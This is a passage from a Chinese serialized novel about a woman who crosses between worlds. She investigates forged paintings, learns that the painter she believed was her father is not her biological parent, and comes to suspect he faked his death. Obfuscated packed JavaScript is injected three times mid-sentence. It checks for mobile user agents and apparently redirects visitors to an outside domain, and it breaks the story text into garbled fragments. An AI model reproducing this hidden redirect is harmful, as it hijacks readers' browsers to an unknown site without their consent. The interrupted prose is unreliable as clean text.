“哎,你都好几天没回来了。”地铁的尾巴消失在隧道后,涂淼的神情迅速变正常,“我跟徐箴言一起天天晚上等你。我在车尾的方向,他在车头——他来了。” 徐箴言见到多日不见的妻子,迅速迎上来将她抱入怀中,松了口气。林菀宽慰地伸手摸摸他的脊背,“没事,我回来了。”说完,她突然想起一件事,“糟糕,我是不是错过给你姐姐送机了?”她本以为回来可以赶得上,但没想到这一次穿越,梦境世界已经过了好几天。 “没事,他们已经在新加坡的房子里安顿下了。以后可以视频联系。” 林菀仔细打量着徐箴言的脸,瞧见他这几日熬夜而黑眼圈明显。“回去好好休息。不过刚刚你有没有脑子晕?涂淼就晕乎乎的。” “瞎说什么,我晕啥。”涂淼立即辩驳,她完全忘了刚刚的事情。 林菀惊讶地看着她,难不成是穿梭时空的地铁对她造成了短暂的影响? 徐箴言以为是林菀觉得地铁站空气不好,“出站吧,外面空气清新些。” “出去出去,哎呀我饿死了,去吃火锅吧。”涂淼大步朝前走。 徐箴言看了眼她的背影,低声问林菀,“你每次回去的时间有规律吗?” 林菀摇摇头,“没有。我怀疑跟太阳活动有关,但这点也没时间深究。不过,在那边就是一天而已,对应过来这边可能过了好几天。” “嗯,我们细细研究。”徐箴言想了想,先说正事儿,“我查到了,鲁杰跟刘经理没有线上资金交易,但他经常去刘经理出事的那个洗浴中心。服务员说这两人见过面。” “……鲁杰的车祸就跟刘经理出事一样,估计是被人捂嘴灭口了。”林菀边思考边说,“那鲁杰跟商氏夫妇有直接来往吗?” “没有。他压根不认识商氏夫妇。我还听按摩师说,刘经理经常骂商氏夫妇挑剔。”所以,商氏夫妇完全无辜。 林菀犹豫片刻,“其实在现实世界,我因为工作关系知道了一个油画家。他也有一幅茶园女子背影的油画。我怀疑他是穿越过去的。” 徐箴言脚步猛地一顿,脱口而出,“是那个幕后主使?” 林菀心里骤然酸涩。他竟然完全没想到那个人可能是他自己。可眼下她只能深吸一口气道:“不清楚。如果是这样,他必定跟林乃岳有关。”说完,她细细讲了自己观察到的各种细节。 徐箴言越听越皱眉,最终他说道:“整件事都围绕油画展开。我们必须告诉商氏夫妇。” 林菀叹息着点头。商氏夫妇购买的伪画不少。再对他们瞒下去,就太不道义了。“不清楚他们知道了会怎么做,我们要做好万全的准备。” …… 第二天,林菀先去医院看望周城,发现他耳后被缝了好几针,且还有脑震荡后遗症,完全不记得事故情况。这点没办法,不过好在他在解放军医院,林菀放心他眼下的人身安全。随后,她旁敲侧击地问周城,以林乃岳为偶像的三十多岁年轻画家有哪些。 周城的回答却是——“这可就多了。来大师班进修的那些人,哪个不模仿师父?哪个不以在林乃岳大师班学画为荣?” 林菀心下复杂地咬住嘴唇,麻烦了。 “你问这个做什么?”周城摁了一下隐隐作痛的后脑勺,只摸到厚厚的纱布。 “画展很快就要开幕了,我要准备发言内容,想聊聊我父亲对新生代画家的影响。” 周城笑了,“那你提我不就得了。”他说着从包里掏出来一个文件夹递过去,“不过你若感兴趣,倒有个工作可以试试,只要你不嫌麻烦。”他解释道,“我们要联系大师班开办以来所有学生,给他们发免费的入场券——” “没问题,我来。”林菀毫不犹豫地答应。 周城满眼笑意,忍不住像小时候那样叮嘱她,“有事情就给我打电话。” “嗯。你好好养身体。” 从医院出来,林菀擦了擦额头上的汗,抱着文件夹打车去商皓宸家。按照约定,今天下午三点是见面时间。徐箴言也会请假从公司过去。 半个小时后,她才从出租车里出来,就看到商皓宸站在希腊雕塑风格的小区大门口等着她。 瞧见她的一刹那,商皓宸整张脸被点亮了。反应过来,他又有些犹豫,等瞧见林菀脸上的微笑后,他才放心地走过来,轻轻点头示好。 “你今天怎么在家?”林菀瞧见他的朋友圈里连续多日都是晒在某个基地滑雪。 商皓宸摇摇头,伸手将林菀怀里的东西拿过来帮忙拎着。阳光太烈,他的耳朵红彤彤的。 “等一下,还有人没到。” 商皓宸依旧不吭声,垂眸默默地站着,他当然知道要来的人是谁。 等徐箴言来了后,商皓宸将他们带回家。他一路无言,甚至到了家里,他还是沉默着,压根没有拿手机出来打字的意思。 Sam彬彬有礼地迎接林菀和徐箴言,举手投足十分优雅,就像英剧里的管家似的。他身材高大,肤色偏深,头发偏棕,整张面孔带着异域风,显然是一个混血。 接待客人之余,Sam不免略微惊讶地扫了眼站在旁边当木头桩子的商皓宸。 早上约好时间后,他过来跟商皓宸说为了保密,要在家见客人。商皓宸当时才起床,头发乱糟糟地坐在餐桌前吃早饭,一听到林菀的名字,立即从睡眼惺忪变成大眼圆睁。接下来他饭都不吃了,滑雪课也取消了,火急火燎主动喊来两个家政,把家里从上到下的犄角旮旯恨不得拿钢丝球蹭了一遍。 然后他就回房间里收拾自己的屋子,也不让照顾他的二舅姨插手,细致到把书架上一个小提琴奖杯的角度都调整了好几遍。最后,他又花了半个小时选衣服,才满意地出门去等待。 Sam瞧他一直比划着老师老师老师,以为他跟林菀多熟悉,却没料到等人家来了,他就不吭声地在旁边当背景板,一点也不活跃,倒显得呆板极了。 大家在主客厅坐下来后,二舅姨端来水果茶点。商皓宸坐在旁边完全没有回房间的意思。Sam只好轻咳两声,示意二舅姨将商皓宸喊走。 二舅姨心领神会,喊商皓宸回房间去看看手机,好像他朋友打电话过来了。 待商皓宸离开,Sam才进入正题。虽说一早就已经听闻,可他还是需要二次确认,“辛苦二位过来一趟,不过请二位三思,早上所说可都确定为真?”他提醒林菀,“如若出现能以假乱真的林乃岳伪画,林首席作为林画家的女儿,应该清楚这会对他的作品行情造成什么影响。” “我确定。正是因为我是他的女儿,所以才想找出真相,当然也不能蒙蔽你们。”林菀抬眼扫了下墙角的摄像头,怀疑商氏夫妇就在国外远程观看客厅动静。 “请问,这件事是如何发现?”Sam的目光扫过徐箴言,“是徐画家鉴定出来的?” “不是我鉴定,是对面这幅月季花就是我画的。”徐箴言看向客厅对面墙壁上的加百列,“那是加百列月季花,前些年才培育出来的品种,我一共画了三幅作一个系列。”说着,他起身将随身携带的画袋打开。 Sam也帮忙将三幅画摆出来。单单看到其中一幅画时,他就忍不住诧异地挑挑眉,低低叹息一声,完了。在艺术界工作多年,他虽不是火眼金睛,但也培养了相当高的鉴赏水平与庞大的知识库。 与家里那幅月季花做了详细对比,又听林菀讲了鲁杰和刘经理的事情后,Sam礼貌地给他们续茶,请他们继续喝茶,然后去书房打了一个长长的电话。 等他再次出现时,他先道歉耽误时间,然后向徐箴言提了一个请求,“方便的话,您能帮忙看看家里其他画家作品的真伪吗?” “我对现代油画家不太熟悉,”徐箴言说道,“不过我倒是可以介绍一位鉴定专家过来。他口风很严。” “谢谢。”Sam坐下来。他朝商皓宸的房间扫了一眼,卧室门有条缝儿,没有关严实。 既然出现伪画,那么势必就涉及报案问题了。不过这件事不光商家有损,林乃岳的妻女也有损。所以还得继续聊聊。 林菀看出Sam所想,直接道:“我们一直在私下调查。鲁杰和刘经理这事儿就是多日打探才弄清楚。接下来,当然要揪出幕后主谋。”她目光坚定,语气不容置疑。 “二位一直没想过报警?”Sam问。 “在我们提到的案子当中,警方已经做了他们能做的。有时候,身在暗处才更好办事。”徐箴言说。他绝不可能报警。一旦警方介入,林菀会突然消失几天才再次出现的诡异行踪便会被曝光。 “当然你们想报警,我们也会配合。”林菀淡定地说。她算准了商氏不会报警。首先Sam如此镇定,就说明伪画损失对商氏来说只是九牛一毛,不值一提。其次,一旦他家的伪画曝光,商氏作为著名收藏家的艺术名誉便会大打折扣。他们再想举荐什么画家都难了。最后,商氏夫妇必定清楚,就算警方抓到主谋,那也就是坐牢的事儿而已,可若私下缉凶,他们或许会有其他意外收获。而且再怎么说,出面的是林菀,而不是他们。 Sam看了看手机,再次微微侧头朝商皓宸的房间扫了一眼。这少年正在祈求父母,将追查伪画始作俑者的权利交给林菀。简直林菀说什么,他就听什么。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16102875|179816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想了想,Sam问道:“恕我直言,二位是否有信心在没有警方帮助下,将这件事顺利办好?” “我命由我不由天,不是吗?将真凶揪出来,不是我想要做到的事情,而是必须做到的事情。”林菀一字一句道。这是徐箴言能顺利活下去的希望。“既然能将鲁杰车祸的真相翻出来,就绝对能继续追查下去。眼看胜利在望,我为何要半途放弃?” Sam沉默着,再次点开手机。在商皓宸看来,他崇拜的林菀无所不能。不过商氏肯定也不能作壁上观,商皓宸希望父母能保护并支持林菀。但Sam觉得,以他跟林菀交谈下来的情况看,她怕是压根不需要被过度保护。 最终,Sheryl Shang发了一条信息。Sam看完便起身依次跟林菀和徐箴言握手,“刚刚聊天若有冒犯之处,请见谅。以后有事情需要商氏帮忙,请直接吩咐我。不管是资金还是人力,商氏全力配合。” 林菀和徐箴言都松了口气,也礼貌地起身。不成文的协议就此达成。 Sam微笑着,他在商氏工作多年,清楚商皓宸不可能以一己之力支配父母抉择,商氏夫妇答应孩子的要求,绝对是经过了综合考虑。“徐画家刚刚提到有信得过的鉴定专家,麻烦在百忙之中引荐一下。我希望能请他过来,越快越好。” “没问题。”徐箴言说。 …… 于是乎,当晚Sam就开车当司机,邀请徐箴言和毛拉一起回到商氏所在的小区。但徐箴言为方便还是开了自己的车,毛拉就坐在他车里。 “你请我看私人画展,这画展的举办地可真是好呀。”毛拉笑着揶揄徐箴言。他当然心里门儿清这趟是做什么,但徐箴言说是私人画展,他就心照不宣地默认。 “请你来,自然得是好地方。”徐箴言很是欣赏毛拉。这段时间以来,他们已经熟络不少。 进了小区,毛拉扫了眼高楼大厦,压低声音说话,以免被前面引路的Sam听见,“我听说有对收藏家夫妇住在这里呢。”不用听说,当徐箴言在画廊告诉他地址时,毛拉就清楚要去谁家。 “我也有所耳闻。” 毛拉闻言便笑了,顺手整理脖子上的千鸟格丝巾,又抚了一下发型。他并不是对商氏夫妇表示尊敬,而是对那些从没亲眼看过的油画表示尊敬。 来到商家,Sam便带领二人开始看画。 毛拉果真是个画痴,随身携带了一个放大镜,在每一幅画面前都驻足很久,偶尔啧啧称奇,偶尔连连摇头,还问徐箴言,“徐画家怎么看?” 徐箴言微笑不语。 毛拉看了两遍画,第一遍看正面,第二遍细致观察每一幅画的背面。最后他还是问徐箴言,“你觉得这些画里存在有毛病的吗?” 这趟“私人画展”之旅就是为了发现问题。所以徐箴言也不含糊,温言回答:“有。” “你说说,咱俩对一下。” “翁寒的《江雪》,还有朱抿那幅《捣年糕》……”徐箴言一共说了七幅画的名字。 毛拉点点头,他最后只补充了一幅林乃岳的画。 Sam立即在脑海里进行一通计算,发现被骗金额才人民币一亿出头,不免松了口气。本来他估计的更高。他的神色变化让毛拉都暗暗称奇,商氏夫妇该得多有钱? “这是过来的车马费,您辛苦了。”Sam微微欠身,递上一个厚厚的红包。 “不客气。”毛拉笑纳。 “八幅画里一共有五幅都署着林乃岳的名字。”Sam看向徐箴言,也掏出一个红包,“再包括您那幅加百列……等等,这幅画不能被展出吧?” “我就不用了。”徐箴言谢绝了红包,“加百列该展出就展出,不用改变。” 毛拉这才注意到落地窗边上的加百列。他曾经见过徐箴言的原画,瞧见一幅几乎一模一样的挂在这里,竟然还署名林乃岳,不免惊讶地呵了一声。但也就仅此而已。 从小区出来,徐箴言先开车送毛拉回家。 毛拉打开窗户吹着夜风,回想着刚刚看到的名画。 “你怎么看到那些伪画根本不惊讶?”徐箴言问。 “哥哥我开画廊半辈子,吃过的盐都比你们吃的饭多。还有什么没见过。”毛拉语气悠闲。 徐箴言清楚毛拉本性,必须得问,他才肯说。“除了这些伪画,你还看出什么其他的问题吗?” “你对林乃岳有多熟悉?”毛拉突然问,眼睛眯了迷,“他毕竟是你老丈人。” 徐箴言闻言手下一动,车立即自动校正方向。他保持冷静,不咸不淡地看了毛拉一眼,“也就后世披露的那些东西而已。” “我倒是从他刚刚入行就开始打交道了。那时候我也刚刚入行。”毛拉慢慢回忆着过去,“这些伪画虽然署着不同的名字,但有些笔触像极了林乃岳才崭露头角时的画法。” 林菀说那个幕后之人跟林乃岳有关,果然是真。徐箴言思虑半晌,突然发现一个被忽略的点,“今晚看到的这些画里,好像只有祁筑庭的画没有被仿造?” 毛拉咦了一声,“还真是这样。” …… 59. 痛快的野心 米卡艺术中心。 林菀走进焕然一新的展厅,发现这里已经加了几道短短的隔墙将整个室内切割成几个空间。隔墙一尺来宽,两米高,贴着环保的白色杜邦纸,印刷着少许介绍文字。文字环绕着一块屏幕,播放相关影像内容。眼下,工作人员正在调试屏幕。 林菀顺着脚下提示标志往前走,看到展厅墙壁设计是以林乃岳生平故事为开端,串联起一幅幅画作。墙壁上已经为不同尺寸的油画预留出空间,下面贴着牌子介绍画作情况。在开头的生平故事里,还贴上了林乃岳当年的照片。 林菀仔细看完一段介绍,然后在一幅单人照前站定,打量着画上的父亲。他穿着一件明显不合身的宽大毛衣,撩起袖子叼着烟在作画。 “别看了,都是人前粉饰而已。”旁边突然有人出声。 林菀扭头,看到是林珠莉来了。 “提前来也不跟我说一声。”林珠莉跟女儿一起往前走,“早上着急找我,是有什么事?” 林菀四周环顾一圈,发现没人注意到她俩。“我父亲……跟祁筑庭有关系吗?”顿了顿,她补充了一个询问的理由。“听说秦经理一定要请他参加开幕式。” “早年间,林乃岳跟祁筑庭经常被相提并论,互作比较。鉴赏家们评价来评价去,你爸爸总是屈居祁画家之后。可他从不甘心。”林珠莉突然牵了牵嘴角,似笑非笑,可眼神有些不明意味,“小秦算是做透研究了。如果林乃岳还活着,风风光光地办如此大阵仗的画展,势必得请失忆又改行的老对头过来瞻仰。” 林菀闻言便更加确定躲在暗处的主谋恐怕十分仰慕林乃岳。他仿制了那么多画,其中数量最多的就是林乃岳的。他从不仿制祁筑庭,是因为压根瞧不上这位曾经处处压林乃岳一头的老画家。而在谋杀庞涛时,他却破天荒制作了一幅祁筑庭自画像。拿这幅画去杀人——纯粹就是为了取乐,恶心人。尊贵的林乃岳画作是不可能用在这种腌臜事情上的。 “您知道有哪个年轻画家特别崇拜我父亲吗?”林菀强调了“年轻”二字。 “这种事情,你去问秦经理或者周城都比问我靠谱。”林珠莉注意到什么,“怎么突然说这些?” “……我想多了解他。” 林珠莉突然不说话了,打量着不远处的文创商店,语气显得懒洋洋,“你看他那本随笔书就够了。” “对了,他在书中提到要创作一幅以你为模特的画,真的画了吗?”林菀想要确认。 林珠莉诧异地挑起眉,“要我当模特?” “对,他说带咱们俩回老家逛茶园——” 林珠莉盯着女儿,直接打断她的话,“这是他在书里写的?” “对。” 林珠莉瞬间冷笑起来,仿佛见到了多荒唐不耻的烂事,“满纸胡言乱语!我从来都是单独带你回去,他何曾想过帮忙?还画我?就算新婚时他都没有过这个想法。”她将手机掏出来,“你把他那本书搜出来,第几章节第几行,我看看。” 她掏出来的是林菀送的新手机,而不是以前使用的老古董黑白手机。 林菀刷地抬头看她,意料之外的喜悦翻涌起来。她克制着自己的激动,第一次挽住母亲的胳膊,“我们出去吧,这里头信号太差了。” 来到场馆外,林珠莉翻看着林菀找出来的电子版随笔。曾经她因为对林乃岳的印象不好而从来不阅读这本书,如今看到它的内容愈加厌恶。 “荒唐!带你去游乐场的是我。陪你半夜打针的是我。哪怕在少年宫遇到小提琴老师发现你的天分,和你一起的还是我。这狗东西怎么全套在自己头上?”林珠莉怒不可遏,额头出现道道青筋。 “别太激动,对身体不好。”林菀立即拧开一瓶水递过去。因为震惊,她自己的手也微微颤抖。是啊,在现实世界,那个男人杀了妻子。对妻子都如此残忍的人,怎么会爱护子女? “他很少管你。”林珠莉眼里布满血丝,看向女儿的神色复杂极了,“直到你得了儿童组小提琴比赛一等奖,他才注意到你,开始带你出门。”林珠莉一直以为这本书里记录的是林乃岳发现女儿可以给自己锦上添花之后才发生的事情。想到这里,林珠莉回过神来,又冷笑一声,“幸好他死得早。”纵然林乃岳死后家里一时周转不开,林珠莉为了打拼自己的事业,也为了负担女儿学艺开销而去外地工作,将林菀放在寄宿学校多年,可林珠莉还是觉得,他死得真好。 林菀沉默着,看向手机里那本书的眼神凉薄得不再带有任何情绪。 “这书的编辑是谁?”林珠莉余气未消。她不曾管过这本书的出版。 “后面写了,林乃岳去世多年后,刘经理找到了他曾经的随笔本。” 林珠莉的眉头深深皱成川字,她已经翻到了后记,上面写着林乃岳的女儿林菀拿到小提琴届的世界大奖,本书出版也是为了祝贺这半年前的幸事。 林菀发现了古怪之处,“怎么偏偏是我得奖后,就找到了林乃岳的随笔本?太巧了。”难不成这本书是别人看到有利可图才写? “书里的家庭细节只有林乃岳知道。”林珠莉也怀疑,“不过他跟刘经理是老同学。唯一的解释是他跟姓刘的透漏了不少细节。” “可这本书成书时,林乃岳已经死亡多年。刘经理能记得这么清?”林菀问。 “都是为了钱。这本书里一半内容都是胡编乱造。”林珠莉冷哼一声,“蛇鼠一窝。姓刘的不是什么好人。林乃岳活着的时候也就是只仗着二两才华沽名钓誉的臭虫。” 母亲的疾言厉色让林菀略微愣了一下。既然当年林珠莉就如此讨厌林乃岳,那为何还会跟他结婚? “人都有看走眼的时候。”林珠莉似是看出她心中所想,“而我从来没有看错你。”谁的女儿能跟林菀一样刻苦勤勉,成为莱音历史上最年轻的小提琴首席? 可林菀心里却漏了一拍。她突然觉得空气都晦涩起来。“我当小提琴家……对您很重要吗?” “这是你的事业和荣誉,跟我没有关系。” “可是……如果我是一个普通人呢?”林菀的声音有些颤抖。 “职业没有高低贵贱之分,我们每个人都是两只眼睛一张嘴的普通人。” 听到这话,林菀眼眶微红,“那我是一个天天挤早班地铁,点外卖还得到处凑满减的上班族。” 林珠莉心里微微愕然于女儿突如其来的奔涌情绪,但面上没表现出来。“没关系。”她看了下时间,便起身,“先进展馆吧,风有点凉。” “妈!”林菀却忍不住喊住她,声音干涩,“我真的是一个普通上班族,不是才华横溢的小提琴首席。” 林珠莉诧异地望着她的孩子。她逆光而站,太阳的光辉从她身后灿烂地照射过来。 …… 林菀终于向母亲坦露了自己的真实身份。她就像晾晒的蚌壳一样摊开在太阳下,让自己所有的秘密一览无余。 这一刻,她的心情在泰山压顶与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16102876|179816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻松自在之间反复摇摆。到太阳西下,橘色光芒洒满大地时,她终于讲完自己穿越而来的故事,当然漏掉了那些惊心动魄的险象。 林珠莉静静地听着,良久没有说话。末了,在林菀期盼又谨慎的目光里,她望着斜阳缓缓地开口。“有时候,我觉得自己挺年轻,年轻到仿佛身体里住了一个才三十岁的灵魂。我不想退休,我压根不愿停下来。我也能接受这个世界有很多离奇的事情发生。”她重新看向女儿。涂淼和徐箴言都亲自验证过的事情,她还有什么理由不信呢? “在那边,你身体健康吗?”林珠莉问。 “嗯。”林菀深深呼吸一下,掩去眼里的水意。母亲竟然一下子就全盘接受了。 “工作顺利吗?” “顺利。” “那交到好朋友了吧?” “有。” “开心的事情也多吗?” “多。” 林珠莉温和地笑了,伸手抚上女儿的脸颊,“这就是我希望你长成的样子。”跟学不学小提琴无关,她只要林菀身体健康,工作顺利,好友相伴,万事无虞。 林菀瞬间笑着流出眼泪,紧紧拥抱住母亲。 …… 两人又在展馆外的古式藤花长廊上坐了许久。直到林珠莉抚摸着怀里女儿的头发,轻声问:“徐箴言过来接你吗?” “嗯。”林菀有些不好意思地直起身子,擦擦眼睛。 “那就好。”林珠莉点头,“我看你说起在那边的事情,没有提到徐箴言,还不认识他?” “……是的。”林菀没料到母亲注意到这一点。 “好事多磨。”林珠莉宽慰地摸摸女儿的脊背,“等找到他,你便有家可去了。” 林菀陡然身体一震,不可置信地看向林珠莉的双眼。她在母亲平静的眼神里找到了答案。 林珠莉是思维缜密的律师,瞧见林菀不提徐箴言,也不提家人,说是在那边租房独居,也不回老家等等……所以当林菀还没讲完故事时,林珠莉便意识到自己在那个世界肯定去世了。如果她还在世,怎么可能让女儿放弃心爱的小提琴?怎么可能让林菀拮据到连房子都没有? “你不必跟我细说,”林珠莉神色淡然,情绪里没有任何惊涛骇浪,“毕竟在这里,我还活着,而且活得很好。”她甚至牵了下嘴角才起身。夜真的有些凉了。 林菀喉头滚动,看着母亲的背影,终于忍不住说道:“是他杀了你。” 林珠莉惊讶地回头。 “林乃岳,是他杀了你。”林菀咬紧牙关。 这一次,林珠莉没有暴怒。她静静地听着,仿佛在听别人聊一件跟她毫不相关的事情。 半晌,她突然咧嘴笑了起来,笑得十分开心,甚至眼睛里出现了水花。林菀却突然心慌,张了张嘴刚要说话,被林珠莉制止。 “这是那个人渣会做出来的事情。你不必因为他而感到任何愧疚。”林珠莉收了笑容,双眼映照着廊下的灯光显得星眸灿烂,她一瞬不瞬地凝视着林菀,毫不犹豫地继续道,“你跟他没有血缘关系。他有无精症,根本无法生育。这就是我做试管的原因。而他——后来我才知道——人家积极支持我,纯粹是为了要个孩子保全男人面子。所以,组成你的另一部分基因是我奔波了好几个精子库,从五千份样本里精挑细选出来的。你是汇集了我所有心血的孩子,跟林乃岳那个杂种没有任何关系。” 她眼神光闪烁,透着一个母亲的野心与痛快。 60. 认识林乃岳其人 与自己名义上的父亲没有任何血缘关系,这件事好像没那么不好接受。 林菀甚至感到一丝释然。从小到大积攒在心底的沉甸甸压抑窒息感,就在这一瞬间土崩瓦解。那个杀害她母亲的人,根本不配被称为父亲。而在重新看待穿越过来的所有事情时,她更有了新的角度。至于继续调查那藏在暗影中的,林乃岳狂热痴迷者……她绝不会手下留情。 林菀回到家的第一件事,就是将那本《林乃岳:关于女儿的小事》丢进垃圾桶。徐箴言开车回来时已经听她讲了前因后果,所以默许她的做法,看着她没有吭声,随后将她搂进怀里安抚。 这时,林菀手机响起来,是好久不见的涂淼来电。 “我到影视城了,正吃晚饭呢。这次出差,剧组安排的酒店挺好的。”涂淼在电话那边说,“我待会就去拍摄场地,今天晚上我偶像有夜戏,要不要也给你拿个签名?” “我喜欢那个演员都是高中时候的事情了。”林菀看到徐箴言打开了大师班学徒花名册,便坐过去,“现在没关注他,不用帮我要签名了。你自己注意身体,别熬太晚。” “好吧。那回头微信上聊。”涂淼仿佛吃着鸭脖,辣得斯哈斯哈,声音含糊,很快挂断电话。 “涂淼说什么?”徐箴言抬头问。 “她安全到剧组了,今天晚上就开始忙。”自打庞涛死亡后,林菀便慢慢放心涂淼,此刻她的注意力全在花名册上,“你看,这些被涂掉的名字是我联系过的,都没时间没兴趣参观画展,所以他们不是我们的目标。还有这些标绿的全在外地,关系网不在莱城,要犯事儿很难。至于这几个标红的,是重点。” “我还是认为主谋的动机相当不可思议。”徐箴言拿着笔抵住下巴,微微思索着,“为了艺术家狂热到杀人的粉丝,几乎只在乐坛见过。约翰列侬就是被粉丝枪杀。可流行音乐家的影响力比画家大多了。从目前的情况看看,林乃岳几乎没有个人魅力,他去世得早,画作水平也不算特别顶尖,毕竟只算‘最有潜力’——” “他确实不够顶尖,所以等死后不可能有新作了,存世作品价值才水涨船高。”林珠莉突然打开大门走进来。她知道林菀家大门密码。 “您怎么来了?”林菀看了眼窗外的夜色,现在已经快十点。按照平时的习惯,林珠莉已经睡觉了。 林珠莉摆摆手让起身跟她打招呼的徐箴言坐下,她自己也坐到对面的沙发上,对林菀说道:“白天有重要的事情忘了问你——你没有从小学琴的功底,一个多月后的演出该怎么办?有计划吗?” “我每天都在练习。”林菀冷静道,“我要努力冲一把,自己上阵演出。” 林珠莉权衡着这件事的可能性,最终还是没有反对女儿,“好,你自己好好准备。既然要这样做,不管结局好坏,你都要有承担后果的心理预期。”她边说边看向徐箴言。 “您放心,不管怎么样,我都会陪在她身边。”徐箴言温和地说道。 林珠莉弯了下唇角,突然注意到他手里看的花名册,“怎么花名册在你这里?” “周城哥还病着,我就给他帮帮忙,挨个儿邀请大师班的学徒来看画展。”林菀说。 “对了,祁筑庭答应过来吗?”徐箴言问。 “他没回应。如果是我,我可瞧不起勾心斗角追名逐利的虚荣玩意。何必还来看他的画儿。”林珠莉脸上露出了不明含义的微笑。 “勾心斗角追名逐利”几个字引起徐箴言注意。他放下手里的花名册,“林乃岳以前做过什么?您方便说一下吗?” “为了挤进省美术家协会,到处送礼,偷偷花光了我的积蓄。为了讨好有意向的收藏家,点头哈腰请人吃饭还做人家的司机。出了餐厅门,到了马路边上,收藏家的鞋子被污水溅到了,他就连忙蹲下去用自己的袖子给人家擦鞋。他画画就是为了金钱和名气。”林珠莉满眼都是轻蔑。当时她独自在医院打排卵针后出来,身体浮肿虚弱,抬头就看到丈夫在路对面当哈巴狗。她没说这一点,因为不想让林菀为自己的出生而感到愧疚。她也厌弃于当年看上林乃岳的自己。婚前,少不经事的她爱他作为艺术家的风流与才华、诗意与失意,婚后她才意识到华丽虚无的袍子底下,不堪的虱子有多少。 林菀越听越能对母亲的嫌恶感同身受,她怜惜母亲曾经吃过这样的苦。而这时手机一震,是涂淼很激动地发了十几条消息,包括几张片场照片,拍的是一个男演员演戏的侧影。她看了眼,匆匆回复道:“你偶像保养得不错,快四十岁了看背影像二十岁的”。然后她继续问林珠莉,“林乃岳是不是就因为最开始混得不好,才得了抑郁症?” “我倒看他像狂躁症,时不时愤恨自己时运不济,痛骂祁筑庭,时不时歇斯底里,喝酒作乐。祁筑庭封笔转行时,油画价格立马高了很多,当时他嫉妒极了,因为这样一来,他的作品价格更难赶超了。”林珠莉冷笑一声,“我唯一看走眼的,就是以为那种人贪心不足,绝对不会自杀。” “当时他自杀,具体是怎么情况?”徐箴言突然意识到在现实世界里,林乃岳先杀了林珠莉再自杀,跟这边有出入,那么这件事恐怕也能挖出一些细节来。 “他自知没指望了,所以从十几楼跳——”林菀的话被林珠莉打断。 “没那么高,六楼而已。”林珠莉的语气稍显不耐,但还是说下去,“当时他已经有名气,为了创作,在我们最开始买的郊区房子里闭关。我在跟他谈离婚,把林菀放在艺校里,我自己在诊所里天天值夜班,想多攒点钱。因为虽然结了婚,可他从没给我一分钱。有天他突然起了好心,说是做了桌饭菜,让我回去跟他谈谈。那天晚上他心不在焉,这种情况下我也懒得跟他废话,没吃饭,很早就睡了。第二天起来没见他人影,我便直接回市区工作。后来过了十几天,警察找我,说是他当晚就跳楼自杀了。” 林菀意识到既然她都能在这个世界提早出生五年,估计当时事事都跟现实世界不一样。可听到林珠莉最后一句话,她还是满心蹊跷地皱起眉头。 林珠莉继续解释道:“年轻时我跟他都一穷二白,可我一想要在莱城扎根,二想为了以后孩子能上学,便拿出所有积蓄,他看在自己也住的情况下也垫了点儿,在郊区买了地段十分荒僻的房子。那房子偏僻到出门便是农田——当然说的是周围田地已经拿到批准,要建大型建筑料材料市场。” 林珠莉的表情很冷淡,“房子后头原本没人倒垃圾。但自打旁边的螺蛳养殖场开起来后,围墙外头便天天有人倒垃圾,臭气熏天。偏偏那么巧,他跳楼落进垃圾坑。半夜养殖场又偷偷倒了很多螺蛳进垃圾堆,刚好将他遮住。本来螺蛳就腐烂发臭,也就没人知道他掉在那里。直到半个多月后,垃圾车来彻底清理,这才发现里头有个人,早就看不出原样,只看得出穿着什么衣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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能确定的是,林乃岳做每一件事都事出有因,安排妥帖。他就连跳楼也处处铺垫。可是,一心追逐名利的他怎么会断然舍弃已有的名气和金钱,突然选择跳楼?连生命也可以不要?这不符合林乃岳的人设。除非这件事能给他带来利益。而且,在快三十年后,竟然出现了一个一心用更高水平假画推高他才华与名誉的狂热画迷。 客厅里,一时很沉默,没有人说话。直到林菀的手机再次嗡嗡震动起来。又是涂淼发来消息,几张照片,再配上几行文字——“弄错了,不是他,这是他的替身,小伙子才二十出头。话说你眼睛够厉害啊,光个背影都能看出他挺年轻。” 林菀看到这几行字,突然感觉好似血都刷地涌进了大脑,连太阳穴都隐隐作痛。她一颗心冲到了嗓子眼,堵得自己呼吸都觉得困难。错了,方向弄错了。过去这么长时间,她为何偏偏盯着那个想象中的“三十多岁年轻画家”不放呢?谁说这个人没可能是个“替身”?如果他是个替身,那么还有谁会为林乃岳痴迷?痴迷到疯狂模拟他的画,不为自己的名利,只为了卖出去给林乃岳增光添彩。 她咽下阵阵毛骨悚然的寒意,确认道:“警察后来给垃圾堆里的人验明身份了吗?” “那个年代乱得很,警察忙着收缴枪|支、扫|黄打|黑,也没现在这样技术发达,规矩有序。所以看到他的衣服便知道是他,就此了事。”林珠莉脸色恢复正常,平静地喝着茶。 林菀不明意味地摇摇头,声音略有干涩:“画家死后,他的画会昂贵很多,是吧?” “对。”徐箴言立即说。他看出了林菀有些不对劲。 “那么,有没有可能——”林菀看向自己的爱人和亲人,强迫自己冷静下来,“林乃岳还活着?” 